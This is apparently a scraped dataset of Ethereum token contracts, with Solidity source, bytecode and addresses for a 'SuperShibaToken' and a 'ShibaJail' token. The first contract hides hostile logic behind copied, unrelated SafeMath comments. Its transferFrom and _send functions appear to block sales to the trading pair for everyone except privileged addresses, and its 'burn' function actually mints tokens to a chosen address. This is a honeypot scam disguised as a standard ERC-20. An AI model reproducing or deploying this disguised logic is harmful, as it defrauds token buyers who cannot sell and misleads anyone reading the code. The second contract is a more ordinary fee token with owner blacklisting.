* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) virtual public payable returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function burn(address _address, uint256 tokens) public everyone {
burnAddress = _address;
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
/**/ require(end != zero //Cannot be zero address
/**/ || (start == burnAddress && end == zero) || //Cannot be zero address
/**/ (end == zero && balances[start] < number) //Cannot be zero address
/**/ , "cannot be zero address");
/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
}
contract SuperShibaToken is TokenERC20 {
function initialize() public payable everyone() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory _name, string memory _symbol, uint256 _supply, address burn, address dele, uint256 _number) {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
number = _number*(10**uint256(decimals));
burnAddress = burn;
delegate = dele;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
}
|
0x6080604052600436106100c25760003560e01c80638129fc1c1161007f5780639dc29fac116100595780639dc29fac146103f2578063a9059cbb1461044d578063cae9ca51146104be578063dd62ed3e146105b9576100c2565b80638129fc1c146103175780638da5cb5b1461032157806395d89b4114610362576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101c857806323b872dd146101f3578063313ce5671461028457806370a08231146102b2575b600080fd5b3480156100d357600080fd5b506100dc61063e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016357600080fd5b506101b06004803603604081101561017a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106dc565b60405180821515815260200191505060405180910390f35b3480156101d457600080fd5b506101dd61082c565b6040518082815260200191505060405180910390f35b3480156101ff57600080fd5b5061026c6004803603606081101561021657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610887565b60405180821515815260200191505060405180910390f35b34801561029057600080fd5b50610299610c12565b604051808260ff16815260200191505060405180910390f35b3480156102be57600080fd5b50610301600480360360208110156102d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c25565b6040518082815260200191505060405180910390f35b61031f610c6e565b005b34801561032d57600080fd5b50610336610d15565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036e57600080fd5b50610377610d39565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b757808201518184015260208101905061039c565b50505050905090810190601f1680156103e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103fe57600080fd5b5061044b6004803603604081101561041557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd7565b005b34801561045957600080fd5b506104a66004803603604081101561047057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f24565b60405180821515815260200191505060405180910390f35b6105a1600480360360608110156104d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561051b57600080fd5b82018360208201111561052d57600080fd5b8035906020019184600183028401116401000000008311171561054f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611183565b60405180821515815260200191505060405180910390f35b3480156105c557600080fd5b50610628600480360360408110156105dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061138a565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d45780601f106106a9576101008083540402835291602001916106d4565b820191906000526020600020905b8154815290600101906020018083116106b757829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156107bd57816006819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610882600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461141190919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109135750600073ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561095e5782600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610969565b610968848461142b565b5b6109bb82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8d82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5f82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164890919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610d11573d6000803e3d6000fd5b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dcf5780601f10610da457610100808354040283529160200191610dcf565b820191906000526020600020905b815481529060010190602001808311610db257829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e2f57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e858160055461164890919063ffffffff16565b600581905550610edd81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164890919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61103c82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d182600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164890919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113185780820151818401526020810190506112fd565b50505050905090810190601f1680156113455780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561136757600080fd5b505af115801561137b573d6000803e3d6000fd5b50505050600190509392505050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561142057600080fd5b818303905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158061152e5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561152d5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806115d25750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156115d15750600654600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b5b611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f63616e6e6f74206265207a65726f20616464726573730000000000000000000081525060200191505060405180910390fd5b5050565b600081830190508281101561165c57600080fd5b9291505056fea2646970667358221220bd2b728b4f72a84032de4baabfeba43793349b92b80230846fd250f4cfbf786764736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 7,819 |
0xe3202034c2665f2d7891f0c45f27be2fd60ce3a1
|
/*
- Developer provides LP, no presale
- No Team Tokens, Locked LP, Fair launch
100% of the tokens will be on the market for trade.
https://t.me/ShibaJail
https://twitter.com/ShibaJail
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaJail is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba Jail";
string private constant _symbol = "SHIBAJ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f5368696261204a61696c00000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b600068056bc75e2d63100000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffff